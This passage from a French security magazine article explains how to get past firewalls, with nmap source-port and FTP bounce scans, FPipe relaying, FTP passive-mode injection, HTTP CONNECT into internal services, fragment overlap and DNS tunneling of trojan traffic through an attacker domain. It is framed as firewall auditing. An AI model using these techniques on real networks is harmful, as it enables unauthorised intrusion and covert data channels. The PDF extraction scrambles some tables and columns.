d'accès, des faiblesses notoires des
protocoles ou des failles connues
des produits de pare-feu afin d'accéder illicitement à un système protégé
par un pare-feu.
Attaques par port source
Commençons par les systèmes
à simple filtrage de paquets. Ces
systèmes fondent leur décision de
blocage ou d'autorisation d'un paquet sur l'inspection de l'en-tête IP
ou TCP/UDP, en analysant en général les ports et IP source et destination du paquet.
Si nous souhaitons créer une
simple règle d'accès visant à permettre aux utilisateurs d'un réseau
interne de surfer sur le web (ex-
Tromper les pare-feux
terne), nous n'avons besoin de rien
de plus qu'une règle pour le paquet
sortant (la requête HTTP) et d'une
autre règle pour le paquet entrant
(la réponse du serveur web). Pour
créer le jeu de règles approprié, on
doit savoir d'une part qu'un serveur
web utilisant le protocole HTTP, il
écoutera par défaut le port 80/TCP
et, d'autre part, que le port source
utilisé par le client HTTP (le navigateur) est aléatoire mais en principe
supérieur à 1024. Le Tableau 2
montre une liste d'accès minimale
pour ce cas.
À première vue, ce jeu de règles
semble inoffensif. La règle 1 autorise les requêtes sortantes HTTP
tandis que la règle 2 autorise les
paquets de réponse. La troisième
règle vise à bloquer tout autre
trafic, raison pour laquelle elle est
nommée règle d'élimination (cleanup). Une analyse plus attentive de
la règle 2 montre qu'il suffit qu'un
paquet envoyé depuis Internet (extérieur) à destination du réseau interne ait pour port source le port 80
et pour port de destination un port
supérieur à 1024 pour que le filtre
l'autorise à passer.
Ce type d'attaque est baptisée
attaque de port élevé ou par port
source car un pirate doit simplement modifier son client de façon
à ce que ce dernier utilise comme
port source un port connu tel que le
port 80/TCP pour être en mesure
d'attaquer des services à l'écoute
de ports élevés derrière un parefeu. Entre autres services intéressants qui écoutent des ports élevés
TCP, on trouve XWindow (6000-
Listing 9. Scan normal et scan avec spécification du port source
# nmap -sS -p 1-65535 192.168.0.1
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) §
at 2005-10-09 17:01 CEST
Interesting ports on 192.168.0.1:
(The 1658 ports scanned but not shown below are in state: closed)
PORT
STATE SERVICE
80/tcp open http
Nmap run completed -- 1 IP address (1 host up) scanned in 6.607 seconds
# nmap -sS -g 80 -p 1024-65535 192.168.0.1
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) §
at 2005-10-09 17:01 CEST
Interesting ports on 192.168.0.1:
(The 1657 ports scanned but not shown below are in state: closed)
PORT
STATE SERVICE
80/tcp open http
6000/tcp open X11
Nmap run completed -- 1 IP address (1 host up) scanned in 6.607 seconds
6063/TCP), Windows Terminal
Server (3389/TCP) et de nombreux
ports d'applications web comme Jakarta Tomcat (8080/TCP) ou BEA
WebLogic (7001/TCP).
Pour vérifier si un pare-feu est
vulnérable à ce type d'attaque, on
peut utiliser nmap avec l'option
-g, qui permet de spécifier le port
source à utiliser. Le Listing 9 montre
la différence entre un scan normal et
un scan avec spécification du port
source.
On voit qu'un simple scan avec
spécification du port source permet
de détecter un port ouvert supplémentaire (6000/TCP). Cependant,
l'intrus ne peut se connecter à ce
port qu'à condition d'utiliser 80/TCP
comme port source du client.
Le moyen le plus simple d'établir une connexion utilisant un port
source déterminé est d'utiliser
FPipe de Foundstone. Quoiqu'il
s'agisse d'un outil Windows, FPipe
peut être utilisé avec Wine sous
Linux. S'il est exécuté avec les options suivantes :
> FPipe -l 100 -s 80
-r 6000 192.168.0.1
§
il ouvre un listener sur le port local 100. Tous les paquets envoyés
à ce port recevront un port source
de 80 et seront transmis à l'adresse
192.168.0.1:6000.
Lors du test de la protection d'un
pare-feu contre les attaques par port
source, il convient aussi de tester les
ports sources 53 (DNS), 20 (FTP) et
88 (Kerberos). En effet, vu la nature
de ces protocoles, les règles de filtrage les concernant laissent à désirer
sur certains pare-feux. Pour illustrer
ceci, mentionnons à nouveau le
pare-feu CheckPoint FW-1 : jusqu'à
la version 4.1, il mettait en œuvre un
Tableau 2. Liste d'accès minimale pour le trafic HTTP
N°
IP source
IP de destination
Port source
Port de desti- Action
nation
1
Interne
Externe
>1024/TCP
80/TCP
Autoriser
Autoriser les requêtes
HTTP sortantes du client
2
Externe
Interne
80/TCP
>1024/TCP
Autoriser
Accepter la réponse du
serveur à une requête
HTTP
3
Tous
Tous
Tous
Tous
Interdire
Règle d'élimination
www.hakin9.org
Description
hakin9 Nº 1/2006
59
Fiche technique
Tableau 3. Jeu de règles d'accès du trafic HTTP pour un pare-feu à filtrage avec état
N° IP source
IP de destination
Port
source
Port de desti- Drapeau
nation
ACK est
nécessaire
Action
Description
1
Interne
Externe
>1024/TCP
80/TCP
Non
Autoriser
Autoriser les requêtes
HTTP sortantes du
client
2
Externe
Interne
80/TCP
>1024/TCP
Oui
Autoriser
Accepter la réponse
du serveur à une
requête HTTP
3
Tous
Tous
Tous
Tous
–
Interdire
Règle d'élimination
mécanisme de règles implicites (implied rules) autorisant le trafic DNS
depuis et vers n’importe où.
L'implémentation du filtrage
IPSec par Microsoft, qui peut être
configuré comme un pare-feu local,
souffre d'une vulnérabilité similaire.
Une règle de pare-feu invisible et
codée en dur autorise tout trafic
entrant dont le port source est
88 (Kerberos). Pour se protéger
contre cette vulnérabilité, des
modifications du Registre sont nécessaires.
Pare-feux à filtrage avec état
Pour empêcher qu'un intrus n'établisse des connexions à des systèmes internes en simulant une
réponse à une requête antérieure,
un pare-feu doit faire la différence
entre un paquet de réponse et un
paquet destiné à ouvrir une nouvelle session. À cette fin, le pare-feu
peut analyser les différents drapeaux d'un en-tête TCP. Comme
toute nouvelle session TCP/IP démarre par l'envoi d'un drapeau SYN
et que tous les paquets suivants
ont au moins un drapeau ACK, un
pare-feu est en mesure d'utiliser
cette différence pour le filtrage.
En outre, la table d'état interne
au pare-feu permet d'exécuter un
suivi des sessions, en particulier
pour les communications basées
sur UDP.
Le Tableau 3 montre que la
réponse d'un serveur HTTP ne
franchira le pare-feu que si l'en-tête
TCP comporte un drapeau ACK.
Figure 2. Fonctionnement du mode FTP actif
Figure 3. Fonctionnement du mode FTP passif
60
hakin9 Nº 1/2006
www.hakin9.org
Tromper les pare-feux
Les modes actif et passif de FTP
FTP (File Transfer Protocol) utilise deux canaux pour la communication entre un
client et un serveur. Le canal de contrôle est utilisé pour l'envoi des commandes
au serveur et des réponses au client. Quand des données doivent être transférées, FTP ouvre et utilise un autre canal de communication, le canal de données.
Un transfert de données a lieu, par exemple, lors d'un chargement ou téléchargement de fichier mais aussi en réponse à une demande de listage de répertoire.
FTP supporte deux modes d'établissement du canal de données : actif ou passif.
On distingue l'un et l'autre modes en fonction du système qui établit le canal de
données.
En mode FTP actif, c'est le serveur FTP qui se connecte au client FTP. Dans ce
cas, le client FTP utilise la commande PORT pour indiquer au serveur à quel adresse
IP et sur quel port il ouvre le listener qui permettra d'accepter les connexions du
serveur FTP. En mode FTP passif, c'est le client FTP qui se connecte au serveur
FTP. Dans ce cas, le serveur FTP doit fournir au client FTP l'adresse IP et le port
auxquels le client peut se connecter pour établir le canal de données.
Pour passer en mode passif, le client doit envoyer une commande PASV au serveur. En réponse, le serveur envoie les données de socket au client sous la forme
IP,IP,IP,IP,OFort,OFaible où OFort et OFaible identifient le port (qui est précédé
de l'adresse IP séparée par des virgules au lieu de points). Voir aussi les Figures
2 et 3.
Dans ce cas, une attaque par port
source n'est plus possible et l'intrus
doit se tourner vers d'autres techniques.
Détournement du mode
FTP actif
Un des protocoles les plus utilisés
sur Internet est le protocole FTP (File
Transfer Protocol). FTP peut travailler dans deux modes différents,
le mode passif et le mode actif (voir
l'Encadré Les modes actif et passif
de FTP). La principale différence
entre ces deux modes réside dans
la manière dont la communication
est établie. En mode actif, le client
FTP établit la connexion du canal
de contrôle et le serveur celle du
canal de données. En mode passif,
le client FTP prend en charge l'établissement de la connexion pour les
deux canaux.
Une attaque exploitant le mode
FTP actif est une autre forme d'attaque par port source. Dans ce cas-ci,
toutefois, le mode FTP actif oblige
le pare-feu à autoriser le passage
des paquets entrants avec un drapeau SYN pour le canal de données
(voir le Tableau 4 pour un exemple
de règles de filtrage). Cela signifie
que même si le pare-feu inspecte le
drapeau SYN, il ne peut empêcher
qu'un intrus utilisant le port source 20
établisse une connexion à un service à l'écoute sur un port supérieur
à 1024.
Pour vérifier si un pare-feu est
vulnérable à ce type d'attaque, on
peut utiliser nmap comme dans
l'exemple précédent mais en donnant cette fois-ci à l'option -g une
valeur de 20 (au lieu de 80). Ici aussi,
on peut utiliser FPipe pour modifier
le port source utilisé en vue d'établir
une connexion à un service de port
élevé.
Détournement du mode
FTP passif
Si, aujourd'hui, une majorité de
serveurs FTP courants supportent
le mode passif, ce n'est malheureusement pas le cas de bon nombre
des clients FTP (dont le client FTP
par défaut de Microsoft). Toutefois,
même l'utilisation du mode FTP passif peut ne pas suffire pour protéger
un système interne contre les intrusions. Voyons comment s'établit une
communication FTP en mode passif.
Pour davantage de lisibilité, la connexion est établie à l'aide de netcat
(voir le Listing 10).
Les six premières lignes montrent un dialogue FTP standard
pour l'établissement de la connexion
et l'identification du client auprès du
serveur FTP. À la ligne 7, le client requiert du serveur qu'il utilise le mode
Tableau 4. Jeu de règles autorisant le trafic en mode FTP actif
N°
IP source
IP de destination
Port source Port de
destination
Drapeau
ACK est
nécessaire
Action
Description
1
Interne
Externe
>1024/TCP
21/TCP
Non
Autoriser
Canal de contrôle
2
Externe
Interne
21/TCP
>1024/TCP
Oui
Autoriser
Canal de contrôle
3
Externe
Interne
20/TCP
>1024/TCP
Non
Autoriser
Canal de données
4
Interne
Externe
>1024/TCP
20/TCP
Oui
Autoriser
Canal de données
5
Tous
Tous
Tous
Tous
–
Interdire
Règle d'élimination
www.hakin9.org
hakin9 Nº 1/2006
61
Fiche technique
Listing 10. Communication en mode FTP passif
#
<
>
<
>
<
>
<
nc ftp.hakin9.org 21
220-Welcome to hakin9.org.
user anonymous
331 Please specify the password.
pass secret
230 Login successful.
pasv
227 Entering Passive Mode (192,168,200,23,230,242)
Listing 11. Ouverture d'un port par détournement de FTP passif
#
<
>
<
>
<
>
nc ftp.hakin9.org 21
220-Welcome to hakin9.org.
user anonymous
331 Please specify the password.
pass secret
230 Login successful.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA227 §
Entering Passive Mode (192,168,200,23,0,2)
< 500 command not understood: §
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA227
Entering Passive Mode (192,168,200,23,0,22)'
passif pour le transfert de données.
En réponse (ligne 8), le serveur
FTP fournit au client l'adresse IP et
le port qu'il ouvre pour accepter la
connexion d'établissement du canal
de données.
Si le serveur FTP est derrière un
pare-feu, celui-ci ignore quel port
le serveur FTP affectera au canal
de données. Le pare-feu a alors le
choix entre deux options d'adaptation du jeu de règles pour autoriser la
communication :
•
•
la première consiste à ouvrir
tous les ports élevés pour les
connexions entrantes vers le
serveur FTP. Comme c'est particulièrement risqué, en particulier quand plusieurs serveurs
FTP sont installés au sein du
réseau, cette solution doit être
écartée.
La seconde est que le pare-feu
analyse la communication entre le client et le serveur FTP.
Quand le pare-feu intercepte une
commande du type 227 Entering
Passive
Mode
§
pour l'adresse IP et le port définis
dans le message.
Avec une telle configuration, toutefois, une personne malveillante peut
amener un pare-feu à ouvrir un port
déterminé. Vu que les paramètres
sont envoyés du serveur FTP au
client via le canal de contrôle sous la
forme IP,IP,IP,IP,OFort,OFaibl, l'attaquant peut tenter de forcer le serveur
FTP à envoyer un message manipulé. C'est faisable en forçant l'envoi
par le serveur d'un message d'erreur
qui contient une chaîne passive.
En effet, dans certains cas, quand
un serveur FTP reçoit une commande
inexistante, il répond par un message
d'erreur qui reprend cette commande ; par exemple, cannot understand
command AAAAAAAAAAA227 Entering Passive Mode 1,2,3,4,0,22. Si
l'on s'arrange, par calcul, pour que
la taille du message d'erreur soit trop
grande pour être contenue dans un
seul paquet IP et pour que la commande inexistante soit envoyée dans
un premier paquet et la chaîne de
commande passive dans le paquet
suivant, il devient possible d'ouvrir un
port supplémentaire sur le pare-feu.
Quand le pare-feu lit le premier
paquet avec la succession de
caractères A , il se contente d'en
autoriser le passage. Quand il lit
la chaîne 227 Entering Passive
Mode (192,168,200,23,0,22), il crée
une règle d'autorisation temporaire
qui permet au client FTP de se
connecter au port 22 du serveur
192.168.200.23. Un mécanisme
similaire de création dynamique de
règles est également mis en œuvre
pour d'autres protocoles, par exemple sqlnet d'Oracle.
Scan de ports par rebond FTP
Cette technique dénommée FTP
bounce scanning en anglais (voir
la Figure 4) utilise des caractéristiques du mode FTP actif pour
scanner les systèmes derrière un
pare-feu. En mode FTP actif, le serveur FTP établit le canal de données
(IP,IP,IP,IP,OFort,
envoyée par le serveur
au client via le canal de contrôle,
il active une règle temporaire qui
autorise une connexion entrante
OFaible)
62
hakin9 Nº 1/2006
Figure 4. Fonctionnement du scan de ports par rebond FTP
www.hakin9.org
Tromper les pare-feux
Définir le proxy pour lynx :
Fragmentation
Chaque système d'exploitation tente de fixer la taille maximum d'un paquet IP
en fonction de la taille des trames de la technologie utilisée pour le service
sous-jacent de la couche 2. Dans le cas d'Ethernet, la taille maximale d'une
trame est de 1518 octets. Ce paramètre de taille est appelé Maximum Transfer
Unit (MTU). Dans la mesure où la trame Ethernet a elle-même besoin de 18
octets pour ses données d'en-tête, l'espace disponible pour le paquet IP est de
1500 octets.
Durant son acheminement sur un réseau, un paquet IP peut transiter par un routeur qui est uniquement capable de gérer des paquets de taille plus réduite en raison
de limitations inhérentes à la technologie employée pour le service de la couche 2.
Pour pouvoir envoyer des paquets via ce routeur à la MTU inférieure à 1500 octets,
le datagramme IP doit être divisé en une série de paquets de moindre taille. C'est
ce qu'on appelle la fragmentation.
À la réception, le serveur de destination doit collecter et assembler tous les
fragments IP dans le bon ordre. Ce processus porte le nom de réassemblage. Le
réassemblage requiert des informations qui permettent de réassembler les paquets
dans le bon ordre et de ne pas mélanger les fragments provenant de connexions
différentes au même serveur.
Deux champs d'un en-tête IPv4 sont essentiels pour l'opération de réassemblage : le champ Décalage du fragment (Fragment offset) et le champ Identification (ID). Tous les fragments d'un datagramme auront un champ ID identique.
C'est grâce à lui que la pile IP pourra identifier tous les paquets appartenant à un
même datagramme. Quant au champ Décalage de fragment, il est utilisé pour le
réordonnancement des paquets. Le premier fragment d'un paquet à une valeur
de décalage de zéro. La valeur de décalage du fragment suivant est augmentée
dans une proportion égale à la valeur de la longueur de la partie des données
du fragment et il en est ainsi pour chaque fragment suivant. Le bit Fragments
à suivre (More fragments ou MF) de l'en-tête IP indique si d'autres fragments
suivent ou si le fragment courant est le dernier.
en se connectant à un port ouvert du
client FTP. Le serveur ignore quel est
le port d'écoute du client pour le canal de données et le client doit donc
lui fournir l'information via le canal de
contrôle.
Il le fait via la commande PORT.
Comme pour la commande PASV, la
syntaxe de la commande PORT est
PORT IP,IP,IP,IP,OFort,OFaible ; par
exemple, PORT 192,168,100,10,0,123.
Une fois en possession de cette
information, le serveur peut établir
une connexion à 192.168.100.10:123
pour le transfert de données.
Par définition, rien n'interdit que
l'adresse IP soit l'adresse du client.
Et, avec certains serveurs FTP, il
est même possible d'utiliser une
adresse IP quelconque. À la réception d'une commande telle que dir,
le serveur tentera de se connecter
au socket IP:port défini. Suivant
l'état du port (ouvert ou fermé), le
serveur renverra un code d'état
indiquant un succès ou une erreur
au client. En analysant le code
d'état, l'attaquant pourra vérifier
si des ports sont ouverts ou fermés. nmap supporte la technique
du FTP bounce scanning, comme
illustré ci-dessous :
$ nmap -b \
anonymous@myftpserver:21 \
targetserver
Rebond via un proxy HTTP
Pour le filtrage du trafic HTTP, un
pare-feu applicatif opère souvent,
de manière transparente ou non,
comme un proxy ou relais HTTP. Le
problème, c'est que, mal configuré,
un proxy HTTP peut autoriser l'accès
à des serveurs internes.
La manière la plus aisée de vérifier si un pare-feu est vulnérable aux
attaques par rebond de proxy est
de configurer l'interface externe du
pare-feu comme un proxy HTTP et
de voir s'il est possible de surfer sur
les serveurs web internes.
www.hakin9.org
# http_proxy='http://myfirewall.de:8080'
# no_proxy='localhost'
# export http_proxy no_proxy
Surfer sur des sites web internes :
# lynx 192.168.100.20
Une particularité intéressante de
cette technique est que même des
adresses IP privées peuvent être accessibles de l'extérieur car l'intrus se
connecte uniquement à l'adresse IP
officielle du pare-feu et demande au
démon HTTP de se connecter à la
cible. Le démon HTTP connaissant
également les adresses IP privées
internes, il peut fournir la connexion.
Une autre opération à tenter est
d'essayer d'accéder à différents
ports des serveurs internes :
# lynx 192.168.100.20:25
Notez que certains navigateurs, Mozilla Firefox par exemple, bloquent
par défaut ces requêtes du côté
client. Par conséquent, nous conseillons de tenter l'opération avec
netcat ou telnet.
HTTP-Connect
La méthode HTTP CONNECT est normalement utilisée pour le tunneling
de trafic SSL au travers d'un serveur
relais (proxy). Le proxy se contente
par conséquent d'ouvrir une session
TCP entre lui-même et le serveur cible et de transmettre les données du
client. Malheureusement, certains
pare-feux ne vérifient pas la validité des IP et ports de destination et
ouvrent ainsi un large trou de sécurité au plus grand profit des pirates.
Un pare-feu doit être installé de
telle manière que les ports d'administration ne sont disponibles qu'à partir
d'interfaces internes. Cela permet
d'empêcher des pirates d'exécuter un
exploit contre, par exemple, le démon
de login, ou de percer les identifiants
d'un pare-feu. La vulnérabilité CONNECT
permet à un intrus d'établir une connexion à l'interface d'administration
à partir de réseaux extérieurs :
hakin9 Nº 1/2006
63
Fiche technique
# nc firewall 8080
CONNECT 127.0.0.1:22 HTTP/1.0
SSH-1.99-OpenSSH_3.8p1
La méthode d'attaque CONNECT permet aussi à un intrus d'établir des
connexions à des systèmes internes.
Et, à l'instar des attaques du type
rebond via un proxy, il est possible
d'atteindre des systèmes internes
utilisant une adresse IP privée :
# nc firewall 8080
CONNECT 10.1.1.100:25 HTTP/1.0
220 mailserver ESMTP
Vous pouvez cependant constater
que tester la vulnérabilité d'un parefeu aux attaques CONNECT n'a rien de
compliqué. La même technique peut
être employée pour obtenir des informations sur des plages d'adresses
IP internes et pour exécuter un scan
derrière le pare-feu, comme dans le
cas d'une attaque du type scan des
ports par rebond FTP. Notons que
des pare-feux renommés comme
Checkpoint FW-1 ou Astaro Secure
Linux étaient vulnérables aux attaques HTTP-Connect par le passé.
Attaque par chevauchement
de fragment (overlapping
fragment)
L'objectif d'une attaque du type
overlapping fragment est de modifier des données d'en-tête UDP ou
TCP après que le pare-feu a pris
une décision fondée sur l'inspection
du premier fragment. Quand une
communication basée sur TCP ou
UDP est fragmentée, seul le premier
fragment IP contient les données
d'en-tête TCP/UDP telles que le port
de destination. Supposons qu'une
règle de pare-feu autorise les connexions au port 80/TCP d'un serveur
web mais refuse les connexions au
port 22/TCP, port qui est affecté
au démon Secure Shell sur ce serveur. Dans ce cas, il est possible
d'exécuter une attaque overlapping
fragment.
Un intrus va fragmenter un datagramme IP (voir l'Encadré Fragmentation) et fixer le port de destination
dans l'en-tête TCP à 80. Le fragment
arrive au pare-feu et satisfait la règle
Autoriser. Comme tous les fragments
IP d'un datagramme ont la même
valeur d'IP et d'ID, le pare-feu laisse
passer tous les fragments suivants
dont l'ID, l'IP source et l'IP de destination sont identiques à celles du
premier fragment.
Le décalage du premier datagramme est de zéro et la fin de ce
fragment est, par exemple, à l'octet 128. La valeur de décalage du
deuxième fragment devrait être immédiatement supérieure à l'octet 128.
Si elle est inférieure à 128, une partie du premier fragment sera récrite.
Cela s'appelle un décalage négatif.
Figure 5. Réassemblage normal des paquets TCP
Figure 6. Attaque par chevauchement de fragment – chevauchement d'entête
64
hakin9 Nº 1/2006
www.hakin9.org
Si le pirate calcule un décalage du
second fragment tel que le port de
destination spécifié dans l'en-tête
TCP du premier fragment soit récrit,
il est possible de modifier le port de
80 à 22 (voir les Figures 5 et 6).
Au terme du réassemblage, la
connexion qui sera établie le sera
au port 22/TCP et non 80/TCP sur
le pare-feu ou la machine cible.
Le pare-feu a été contourné avec
succès.
Il existe plusieurs implémentations différentes des attaques par
fragmentation dirigées contre un
pare-feu. Reportez-vous à l'Encadré
Sur Internet pour un lien vers un
exemple intéressant d'attaque contre
un pare-feu IPFilter sur BSD.
Attaques par tunneling
Des pirates peuvent souhaiter communiquer au travers d'un pare-feu
pour installer, par exemple, un cheval
de Troie ou une porte dérobée sur un
système interne, qui communiquera
ensuite avec le système de l'intrus.
L'intrus envoie des commandes au
cheval de Troie et souhaite que les
résultats de ces commandes lui
soient renvoyés.
Si les règles de filtrage du
pare-feu autorisent uniquement
des protocoles standards comme
HTTP, FTP ou DNS pour le trafic
sortant, le pirate devra utiliser un
de ces protocoles pour la communication. Malheureusement pour le
pirate, certains pare-feux récents
appliquent un contrôle de la syntaxe
RFC au trafic de niveau applicatif.
Par conséquent, si la communication n'est pas conforme aux RFC, le
pare-feu la bloquera.
Dans ce cas, un pirate informé
exécutera des attaques par tunneling au moyen d'outils qui ne violent
pas les définitions RFC et qui encapsulent les données dans des commandes de protocole parfaitement
valables. En outre, si les données
encapsulées sont encodées ou chiffrées en ASCII 7 bits, la détection
de l'intrusion par le pare-feu s'avère
presqu'impossible.
De bons exemples de cela sont
les tunnels basés sur HTTP ou DNS.
Tromper les pare-feux
À propos de l'auteur
Oliver Karow est un Principal Security Consultant chez un fournisseur de
solutions de sécurité. Il s'intéresse en
particulier aujourd'hui aux pare-feux,
à la technologie IDS/IPS, aux audits de
sécurité et aux tests d'intrusion. Oliver
poursuit en outre un cursus informatique dans le cadre de l'enseignement
à distance d'une université allemande.
Il travaille dans le secteur informatique
depuis 1994 et s'est spécialisé dans
les questions de sécurité informatique
depuis 1999.
Si des outils de tunneling HTTP conforme aux RFC comme rwwwshell
(voir l'Encadré Sur Internet) sont relativement aisés à mettre en œuvre
et, dès lors, disponibles depuis longtemps, mettre en œuvre un tunneling
efficace basé sur le protocole DNS
est un peu plus complexe.
Dans le cas de DNS, une technique intéressante de tunneling, basée
sur une méthode nommée namedropping (entre autres), exploite
le protocole NSTX (Name Server
Transport Protocol ). Elle requiert un
client et un serveur DNS conformes
à ce protocole, le serveur devant
avoir autorité sur un domaine (voir
l'Encadré Sur Internet). Supposons
que l'attaquant a autorité pour le
domaine baddomain.com et possède un système compromis au sein
d'un réseau protégé par un pare-feu.
Il veut pouvoir commander le système à distance, depuis l'extérieur, via
l'envoi de commandes et la réception
de réponses.
Si le client souhaite transférer des
données au serveur, il adresse une
Tableau 5. Quelques exemples de vulnérabilités des pare-feux
Produit
Vulnérabilité
CheckPoint Secure Platform
Vulnérabilité de contournement des
règles de pare-feu
CheckPoint VPN-1
Dépassement de tampon ASN.1
CheckPoint VPN-1
Dépassement de tampon ISAKMP
Cisco IOS Firewall
Dépassement de tampon proxy
d'authentification
Cisco Catalyst 6500/6700
Vulnérabilité de contournement de
liste ACL du module FW Services
requête à un nom d'hôte forgé, par
exemple
b2xpdmVyIGthcm93.bad
domain.com où b2xpdmVyIGthcm93
sont les données chiffrées. Comme
le serveur de noms interne n'a pas
autorité pour ce domaine, il passera
la requête au serveur NSTX de l'intrus. Le serveur de noms de ce dernier est alors en mesure d'extraire
et de décoder le nom d'hôte de la
requête.
Pour pouvoir renvoyer des données au client, le serveur de noms du
pirate placera les données dans un
enregistrement de ressource TXT.
Cet enregistrement est un enregistrement à texte libre qui peut être
utilisé à différentes fins, par exemple
pour la publication de clés publiques
PGP. Il est dès lors difficile pour un
pare-feu de faire la distinction entre
un enregistrement TXT licite et le
message masqué d'un cheval de
Troie.
Pour plus d'information sur les
attaques par tunneling, nous vous
recommandons de lire l'article Firewall Piercing (voir l'Encadré Sur
Internet).
Sur Internet
•
•
•
•
http://cert.uni-stuttgart.de/archive/bugtraq/2001/04/msg00121.html – Thomas Lopatic, A fragmentation attack against IP Filter,
http://www.ccc.de/congress/2004/fahrplan/files/221-firewallpiercing _21c3.pdf
– Maik Hensche & Frank Becker – Firewall Piercing – Creative exploitation of valid
Internet protocols,
http://www.thc.org/download.php?t=r&f=rwwwshell-2.0.pl.gz – la mise en œuvre
de tunnel HTTP, rwwwshell,
http://www.csnc.ch/static/services/research/dnstunnel.html – la mise en œuvre
de tunnel DNS.
www.hakin9.org
Vulnérabilités des
pare-feux
La sécurité d'un réseau est directement tributaire de celle du pare-feu
qui l'isole. Si le pare-feu est lui-même vulnérable aux attaques comme
les attaques par débordement de
tampon, le contourner ne pose
aucun problème puisque que le pirate peut alors reconfigurer le parefeu pour ses besoins propres. S'il
s'agit d'une vulnérabilité qui donne
à l'attaquant un shell de commande
à distance, toutes les attaques contre
des systèmes internes proviendront
de l'adresse IP du pare-feu. Enfin, si
la protection du réseau repose sur un
seul pare-feu, le réseau ne dispose
plus d'aucune protection.
Or il est malheureusement très
fréquent que l'on identifie des vulnérabilités autorisant l'exécution de
code à distance dans des solutions
de pare-feux renommées. Jetez un
simple coup d'œil sur le site http://
www.securityfocus.com/ pour disposer d'un aperçu des vulnérabilités
existantes (voir le Tableau 5).
Conclusion
Il existe de nombreuses manières de
contourner les pare-feux. Certaines
sont liées aux limitations du produit,
d'autres à une mauvaise configuration voire à des vulnérabilités du
produit lui-même. Toutefois, un déploiement de pare-feux à plusieurs
niveaux associé à l'audit régulier de
l'environnement de protection par
pare-feu peuvent contribuer à assurer une solide protection des réseaux
internes. l
hakin9 Nº 1/2006
65
Méthodes d'infection par
un logiciel espion
Fiche technique
Christiaan Beek
Degré de difficulté
L'objectif essentiel d'un logiciel espion consiste à recueillir des
renseignements démographiques et d'emploi ainsi que des
données privées. Des programmes de ce type sont généralement
intégrés en tant que composant caché ou téléchargés
involontairement depuis Internet. Regardez donc quelles sont les
méthodes utilisées par les programmes de ce type pour infecter
les systèmes Windows et la manière dont on peut s'en protéger.
L
es résultats récents provenant d'une
étude effectuée par des organisations
reconnues (CSI/FBI), démontrent que
presque 80% des systèmes informatiques sont
infectés par des logiciels espions. Le nombre
des logiciels espions augmente sans cesse
car leurs concepteurs se servent de plus en
plus des technologies récentes. Comme il
s'agit d'affaires très lucratives, la criminalité
organisée investit dans les gens et dans les
technologies. Les organisations ont du mal à se
protéger contre cette menace. D'un côté, elles
doivent implémenter une solution pour prévenir
des infections et d'un autre, cette solution doit
aussi être capable de nettoyer les systèmes
informatiques déjà infectés.
Jetez un coup d'œil sur les techniques
utilisées actuellement par les logiciels espions
pour infecter des systèmes Windows. Chaque
technique décrite est accompagnée d'une solution permettant de détecter et d'éviter une
infection et de supprimer la menace. Il ne faut
pas considérer cet article comme un compendium complet contre les logiciels espions mais
plutôt comme un aperçu de plusieurs techniques intéressantes développées en même
temps que les logiciels espions ; c'est aussi un
66
hakin9 Nº 1/2006
aperçu des méthodes manuelles de protection
contre ces techniques car les outils automatisés ne sont parfois pas capables d'aider les
utilisateurs dans cette tâche.
Object Data Tags
Les balises Object Data Tags spécifient les
données et les paramètres pour les objets
insérés dans les documents HTML et le code
à utiliser pour afficher/manipuler ces données.
Un intrus distant pourrait créer un lien URL en
utilisant les Object Data Tags pour les exécuter
sur le navigateur Web de la victime au sein du
Cet article explique...
•
•
quelles techniques sont utilisées par un logiciel
espion pour infecter des systèmes,
comment découvrir une infection, supprimer la
menace et se protéger contre ce logiciel dans
l'avenir.
Ce qu'il faut savoir...
•
•
www.hakin9.org
connaître HTML/JavaScript,
avoir de l'expérience en programmation.
Méthodes d'infection par un logiciel espion
Types de logiciels espions
Fenêtres pop-up
Les fenêtres pop-up sont utilisées pour forcer l'utilisateur à cliquer dessus. Elles
peuvent se trouver sur des sites Web, dans les courriels, elles peuvent accompagner d'autres logiciels ou avoir une forme d'une barre d'outils installée comme des
plug-ins pour Internet Explorer. De nombreux logiciels peer-to-peer contiennent des
logiciels de ce type. À titre d'exemple, KaZaA inclut GAIN (Gator) et Cydoor. GAIN
surveille les habitudes de surf sur Internet et télécharge des annonces depuis Internet pour les afficher ensuite sur KaZaA. Cydoor télécharge une liste importante
des adresses URL lors de l'installation de KaZaA et les affiche ensuite lorsque vous
surfez sur Internet.
Un autre type de logiciels espions pop-up se sert du service Messenger sous
Windows et affiche des annonces textes (voir la Figure 1). Les utilisateurs de Windows
NT/XP/200x peuvent facilement éviter ces désagréments en désactivant le service
Messenger.
Figure 1. Une annonce pop-up
Messenger typique
Composeurs
Les composeurs (en anglais dialers) modifient généralement sans vous avertir les
paramètres de connexion du modem. Ainsi, au lieu d'appeler un fournisseur Internet
local, l'appel de l'utilisateur est dirigé vers une connexion internationale très chère. Ils
servent principalement comme une méthode de paiement ou un accès aux sites Web
avec des jeux ou un contenu adulte, mais pour l'installation de navigateurs, l'autorisation de l'utilisateur est généralement nécessaire (voir la Figure 2).
Pirates de navigateurs
Les pirates de navigateurs (en anglais browser hijackers) modifient les paramètres
des navigateurs sans l'autorisation de l'utilisateur. En général, la page d'accueil et les
pages de recherche sont touchées et des signets sont également ajoutés. ISTbar peut
être un exemple d'une collection désagréable des pirates de navigateurs. Il installe
la barre d'outils Tinybar et il est également capable d'installer d'autres parasites dont
certains affichent des fenêtres pop-up porno.
Cookies espions
Les cookies, utilisés le plus souvent de manière légitime pour permettre une identification de l'utilisateur lorsqu'il revient dans un site Web, peut également servir de
logiciel espion. Certains sites Web utilisent des cookies pour tracer les habitudes
de surf. Il s'agit le plus souvent des cookies tierce partie : les cookies qui ne sont
pas envoyés par le site Web visité (souvent via des bannières publicitaires). Heureusement, les cookies ne sont pas dangereux : ils ne peuvent pas être utilisés pour
propager un autre code. Des sociétés comme DoubleClick, lancent les bannières
à partir de ses propres serveurs et emploient ces serveurs pour établir et lire les
cookies. DoubleClick est ainsi capable de détecter quels clients visitent quels sites
Web lorsque leurs bannières sont servies.
contexte de sécurité du site hébergeur, une fois l'utilisateur a cliqué
sur le lien. L'intrus explore cette
vulnérabilité en créant une page
Web malveillante, en crackant une
page Web existante ou en l'envoyant
à une victime comme un texte HTML
dans un courriel.
Un exemple pratique
Regardez le Listing 1 qui contient
